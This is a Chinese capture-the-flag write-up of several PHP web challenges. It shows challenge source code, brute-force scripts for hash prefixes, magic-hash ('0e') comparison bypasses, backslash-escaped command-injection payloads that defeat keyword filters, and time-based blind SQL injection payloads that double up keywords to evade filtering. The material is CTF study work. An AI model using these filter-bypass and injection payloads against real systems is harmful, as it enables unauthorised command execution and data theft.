0x01前言 没报名,但是后面发现这个比赛的赛题挺好玩的,就浮现玩一下
0x02赛题 大道轮回 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php session_start ();show_source (__FILE__ );error_reporting (0 );if (isset ($_GET ['sha256' ]) && isset ($_GET ['cmd' ])) { $sha256 = $_GET ['sha256' ]; $cmd = $_GET ['cmd' ]; if (substr (sha256 ($sha256 ), 0 , 6 ) === '647d99' ) { echo "踏平坎坷成大道,斗罢艰险又出发" ; if (preg_match ("/;|cat|flag| |[0-9]|$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\|%|\x09|\x26/i" , $cmd )) { echo "打破顽空,跳出轮回的真谛在:" ; system ($cmd . " > /dev/null 2>&1" ); } else { echo "取了真经又如何,不过是只有功的泼猴" ; } } else { echo "是假易灭,是假难除" ; } } else { echo "你终究不是他" ; } function sha256 ($data ) { return hash ('sha256' , $data ); } ?> 你终究不是他
这里的话是if嵌套,要传入一个cmd参数和一个sha256参数,sha256参数的值经过sha256哈希计算后的前六位要等于647d99,这里直接贴个脚本
1 2 3 4 5 6 7 import hashlib#用于进行哈希运算。MD5 是一种常用的哈希算法之一。 for i in range(1,10000000000000): m=hashlib.sha256(str(i).encode()).hexdigest()#计算字符串的 sha256 哈希值,并将结果转换为十六进制的字符串表示 if m[0:6]=='647d99': print(i)#如果找到符合条件的 i,则打印该整数。 break
然后那个cmd之前做过,就直接写wp了
payload
1 2 cmd=ls /;ls&sha256=3084863 cmd=cat /Fl@@@g;ls&sha256=3084863
奇怪的是这里没有过滤cat
关关难过关关过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php include "secret.php" ;header ('Content-Type: text/html; charset=UTF-8' );show_source (__FILE__ );error_reporting (0 );if (isset ($_POST ['one' ]) && isset ($_POST ['two' ]) && sha1 ((string )$_POST ['one' ]) == md5 ((string )$_POST ['two' ])){ echo "第一步out" ; }else die ("抱歉" ); if (isset ($_POST ["14_12_45" ])){ if (md5 ($_POST ["14_12_45" ]) === "19cb79e80ab6d5400950c392d077cc1c" ){ echo "你好棒呀" ; echo "下一关:" .$top2 ; } } 抱歉
第一个判断句用强碰撞进行绕过
1 one=aaroZmOk&two=QNKCDZO
这两个经过哈希计算后都是0e开头的
然后md5的话只需要找到那几个未知的数字就行
贴个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import hashlibdef md5_hash (value ): return hashlib.md5(str (value).encode('utf-8' )).hexdigest() target_md5 = "19cb79e80ab6d5400950c392d077cc1c" text = "7894" for i in range (10000 ): for j in range (1000 ): num_str = f"{i:04d} {text} {j:03d} " hash_value = md5_hash(num_str) if hash_value == target_md5: print (f"Found match: {num_str} " ) exit(0 ) print ("No match found." )
所以运算的结果+payload就是
1 one=aaroZmOk&&two=240610708&&14_12_45=65417894321
然后得到下一关的路由15d83d6f116820a5.php,访问得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php include "secret.php" ;header ('Content-Type: text/html; charset=UTF-8' );show_source (__FILE__ );error_reporting (0 );parse_str ($_SERVER ['QUERY_STRING' ]);if (isset ($pass )) { $key = sha1 ($pass ); } if (isset ($key ) && $key == 'b84eb44c485303b69630663fc2f9c050af508dda' ) { echo "下一关:" .$top3 ; } else { die ("你小汁" ); }
parse_str($_SERVER[‘QUERY_STRING’]);会把url后面的查询字符串转化成参数变量
这两个语句不是嵌套语句,直接传key=b84eb44c485303b69630663fc2f9c050af508dda就行
进入第三关路由b3083cc69ebf4e0b.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include "secret.php" ; header ('Content-Type: text/html; charset=UTF-8' ); show_source (__FILE__ ); error_reporting (0 ); echo $top4 ; if (isset ($_POST ['input' ])) { $input = $_POST ['input' ]; if (!preg_match ('/ls|dir|nl|nc|cat|tail|\ [|sh|cut|strings|od|curl|ping|\*|sort|ch|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sud o|more|cc|tac|less|head|\.| {|}|tar|]|gcc|vi|vim|file|xxd|base64|;|date|bash|\$|\x00|`|env|\? |wget|"|\'|\|php|id|whoami|=/i' , $input )) { system ($input ); }else { die ("wk hacker" ); } } flag在 /fllllag
过滤了很多东西,但是可以发现反斜杠没有过滤,我们用反斜杠去绕过就可以了
payload
1 2 input=l\s input=ca\t /fllllag
ctfer平台(
一个登录系统界面,不过我在登录界面发现如果用户名是admin的话只会提示密码错误,而输入其他的则会提示用户名不存在,应该是需要登录admin账号伪造admin,但是测试了之后发现这里应该没得漏洞可以打,那就只能先注册登进去看看了
进去后在个人资料页面看到有头像上传
想测一下是不是文件上传漏洞,后面发现这个实例是在无痕窗口开的,chrome的插件和代理都不能用,bp用不了那我玩啥,直接看wp学习了
果然,是在主页抓包然后进行admin伪造,拿到一个pingpingping.php的路由
测试一下发现可以打rce,但是过滤的函数有很多,rce成功了也没有输出,那就只能试着去反弹shell了
冷暴力
题目提示是时间盲注,传入1and sleep(5)语句后也确实有时间延迟,应该是时间盲注,测试一下
1 2 3 4 5 1 and if(1,sleep(2),1)#出现延迟 1 and if(length(1)=1,sleep(2),1)#正常延迟 1 and if(substr('ctf',1,1)='c',sleep(2),1)#无延迟,用双写绕过substr就有延迟了 1 and if(ascasciiii(subsubstrstr((select grougroupp_concat(schema_name)from information_schema.schemata),1,1))>'32',sleep(2),1)#一个个测出来是过滤了group和ascii 1 and if(ascasciiii(subsubstrstr((select grougroupp_concat(table_name)from information_schema.tables where table_schema=dadatabasetabase()),1,1))>'32',sleep(2),1)#过滤了database
然后直接上脚本就行了,后面跑的时候发现flag也被过滤了,绕过flag才能拿到flag